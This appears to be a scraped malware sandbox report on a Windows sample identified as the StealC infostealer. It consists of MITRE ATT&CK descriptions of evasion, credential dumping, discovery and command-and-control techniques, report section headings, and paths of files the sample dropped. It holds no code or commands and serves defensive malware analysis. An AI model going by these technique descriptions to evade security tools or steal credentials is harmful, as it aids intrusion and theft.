Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2BI8rJKpBa.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKKKECBKKECGCAAAEHJK

C:\ProgramData\BGCFBGDHJKFIEBFIECGH

C:\ProgramData\DAEBFHJKJEBFCBFHDAEG

C:\ProgramData\DAEBFHJKJEBFCBFHDAEGHCBFBG

C:\ProgramData\DHDBGHCBAEGCBFHJEBFIEHCBFB

C:\ProgramData\FCAKFCGC

C:\ProgramData\KEGDBFIJ

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2BI8rJKpBa.exe_c415fabd26930ebe2a484b6b7713ea2a0b1b625_97ca5c95_ef852bae-049c-4460-940e-fcb00de9defd\Report.wer

Windows Analysis Report
2BI8rJKpBa.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre